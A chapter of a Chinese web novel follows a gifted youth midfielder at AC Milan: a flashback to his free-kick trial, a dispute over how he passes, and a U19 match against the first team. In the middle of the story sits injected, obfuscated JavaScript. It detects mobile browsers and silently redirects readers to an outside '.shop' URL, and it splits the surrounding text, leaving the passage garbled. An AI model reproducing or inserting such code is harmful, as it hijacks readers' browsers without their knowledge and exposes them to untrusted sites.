因扎吉双手插兜,站在训练场边,看贺辰跑来跑去接球。

    不是狼狈地追着球跑,而是瞄准球的落点,到位、停球、观察,无需助跑,直接把球送到奔跑的球员的脚下。

    因扎吉想起一件事。

    那是贺辰来米兰试训的时候。

    最后一个环节,教练组让他展示任意球。

    少年擦擦额头的汗,银链挂在手腕上,皱巴巴的小圆片把阳光切割成几部分,依稀能看出猫头鹰的形状。

    他把球放在罚球点,后退一步,然后抬脚。所有人都以为他需要助跑,可贺辰只是退了一步,然后踢出一个极漂亮的球。

    球弧线不大,但角度刁钻——绕过人墙最外侧,贴着立柱内侧钻进球网。门将甚至没有移动,因为他判断球会飞出底线。

    因扎吉说:“再来一个。”

    贺辰把球捡回来,放在同样的位置,抬脚,踢出一粒完全不同的进球。球笔直飞向球网,却在底线附近下坠,从守门员的腋下钻过去。

    米兰的首席队医马里奥·韦伯瞪大眼睛。

    他怀着看热闹的心情来到训练场,正好赶上这粒进球。虽然离得远,但少年触球瞬间的调整,还是被他捕捉到几帧。

    “他很聪明,知道自己关节灵活,就在小细节上做文章。”

    因扎吉点点说,说:“再来。”

    这次是外脚背,弧线朝反方向弯曲,像是要飞向角旗,却在最后一刻拐回门框范围内。

    “漂亮!”韦伯小声欢呼,随后发现少年罚球的力气不足。

    “这是最后一项测试。”因扎吉解释,“他的体能一般,力量不足,不过,高强度运动后动作没有太明显的变形,增肌的事可以慢慢来。”

    而且有脾气、有主意,不确定自己能否通过,就拿出压箱底的招数展示。

    因扎吉招呼贺辰过来。少年抱着足球,哒哒哒小跑到他跟前,喘着粗气。

    他问:“你能踢出多少种任意球?”

    “不知道,我没数过。”

    “没数过?”

    贺辰点点头:“这是‘角度’‘力度’和‘速度’的自由组合,任何一个因素变了,踢出来的球就不一样了。”

    因扎吉心想,这个孩子远没有他表现出来的那么淡定,他的心里、眼里有一团火。

    实训结束之后,因扎吉把贺辰的表现同步给苏嘉平,他夸她的儿子“有天赋”“前途无量”,然后,她的回答是什么来着?

    “不是吧马利这你都能踢飞!”

    回忆被祖卡拉肆无忌惮的嘲笑打断,因扎吉揉揉眉心,吐出一口浊气。

    祖卡拉不会读空气,马斯塔利都气成开水壶了,他还嘻嘻哈哈笑。贺辰是旁观者,几步之外,里奇犹豫要不要干涉,而秦昶在训练场的另一边,等他发现,祖卡拉早被打成肉泥了。

    “他传的球确实是最优解,不过,要是我接到球后的第一反应不是射门呢?”

    “……你要回传?”贺辰显然没有理解他的意思。

    马斯塔利气的够呛,两只手胡乱比划,花了足足半分钟才组织好语言。

    “你只模拟了空门的情况,如果加入门将呢?假如有一二三四五名防守球员呢?”

    贺辰下意识接话:“完全不进攻么?”

    “你别管!”马斯塔利骤然拔高声音,好像被人踩了尾巴,“如果……如果我想玩点花活呢?”

    “人在紧要关头一般会遵从自己的身体本能。”

    “万一我的本能就是整活呢?”

    贺辰不急着回答,安静地等他说完。

    “你传的球很好,我接到后只需要停球、调整、射门——甚至不需要调整,可是我的……我的‘需求’被你忽视了。如果我不想进球呢?如果我觉得时机不到呢?如果我……”

    贺辰打断他:“你想要什么?”

    “余量球。”

    贺辰若有所思。

    祖卡拉问他什么是余量球。

    马斯塔利无语至极,先重重拍了一下他的脑门,气消了,才解释道:“贺,你传的是‘脚下球’,正好到我脚边,不用我再处理。但是有些时候我需要‘思考’。我需要球在我前面一点让我‘追’,或者在我身侧让我‘领’,再不济在我身后,给我转身的空间。”

    秦昶插话:“不只是马利,有的球员就是需要‘再加工’。”

    “当然,你不到一周就把我们摸透已经很了不起了。”马斯塔利眼睛乱瞟,脸颊红透了,挤出一句干巴巴的夸张。

    贺辰没有立刻回答。他低下头,拿脚尖碾草坪,似乎在思考一道复杂的数学题。

    过了一会儿,他说:“给我时间。”

    “什么?”

    “给我时间,我会记住你们每个人的跑动路线、接球习惯、射门方式,然后传出让所有人舒服的球。”

    祖卡拉轻轻鼓掌,而秦昶挑眉,吹了一声短促的口哨。

    马斯塔利张了张嘴,想说什么,最后哼了一声,说:“你最好说到做到。”

    贺辰点头。

    因扎吉一直在不远处看着,觉得时间差不多了,拍了拍手,把所有人的注意力吸引过来。

    “你们今天的表现都很不错,经过这段时间的训练,你们应该已经恢复到竞技状态了。”他的目光巡视一圈,少年们满头汗,气喘吁吁,但是精神饱满,适合检查成果,“下午,我们要跟一线队踢比赛,都做好准备。”

    训练场安静了一瞬,然后炸开了锅。

    一线队的首发名单没有悬念。

    门将阿比亚蒂,后卫是康斯坦特、梅克斯、萨帕塔和德希利奥,中场由蒙托利沃、波利、克里斯坦特三人组成,前锋是尼昂、马特里、比尔萨。

    U1

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733549|208974||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    9的阵容则是这样的:秦昶和祖卡拉双前锋,马斯塔利、贺辰和皮纳托组成中场,后防线依次是里奇、桑托罗、西米奇和贝尔纳迪,比安科出任门将。

    比赛开始,U19像饿狼般扑上去。

    短短十分钟,U19有五脚射门,一线队的控球率估计不到百分之四十。阿莱格里紧急调整,让克里斯坦特对位贺辰。

    又来?

    秦昶分神观察贺辰,他被克里斯坦特死死缠住,前段时间训练赛的困境再次出现。

    果真如此吗?

    第27分钟,里奇在后场抢断,把球传给贺辰。贺辰接球,余光看到克里斯坦特向自己逼近,没有回传,而是侧身面向右边路,抬起右脚,脚弓绷紧。

    克里斯坦特扑上来的瞬间,贺辰的脚接触到皮球。

    他没有停球,直接长传。

    球从克里斯坦特的肩膀上方飞过,带着内旋的弧线,越过一线队整条防线,落在禁区左侧的真空地带。

    马斯塔利全速冲刺。

    他接球,停了一下,从左脚拨到右脚,沉肩变向,骗过扑过来的萨帕塔,然后从梅克斯和德希利奥之间的缝隙钻过去。

    阿比亚蒂出击。

    马斯塔利把球轻轻挑起,越过阿比亚蒂的头顶,落向空门。

    1:0!

    整个绿茵场安静片刻,随后,U19的替补席爆发激烈的欢呼声。

    场上,年轻人从四面八方跑向马斯塔利,而马斯塔利跑向中圈。贺辰撑着膝盖小口小口喘气,看到马斯塔利跑过来,想问他有什么事。

    众目睽睽之下,马斯塔利捧起他的脸,亲上他的额头。

    秦昶率先反应过来,拿出后卫回防单刀的架势冲过来,把两个人分开,随后揽住贺辰的腰,另一只手攥住他的手腕。

    马斯塔利面色不愉。

    下一秒,贺辰猛地弹起来,手脚并用,像一条离水的鱼在秦昶怀里扑腾,秦昶不希望一二年的事重演,又用了几分力气。而皮纳托和桑托罗架起马斯塔利往后撤,免得庆祝变案发现场。

    “你干什么?!”马斯塔利厉声质问。

    “你干什么!!”贺辰发出有生之年最尖锐的声音,“你、你……你怎么能、能做出这种事?!”

    “哪种事?”

    “你怎么能亲我?!”

    马斯塔利彻底糊涂了,而贺辰涨红了脸,你你我我半天才憋出一句“亲吻是爱人之间才能做的事”。

    秦昶没忍住笑了。

    然后是马斯塔利,拉架的皮纳托和桑托罗,稍外面的祖卡拉等人,包括裁判,都发出或大或小的笑声。就连因扎吉也参与进来,把贺辰从人群中捞出来,让助教送他回更衣室休息一下。

    毕竟,以贺辰目前的状态,再待下去他非熟透不可。

    别把我的中场苗苗养死了,因扎吉愉快地想。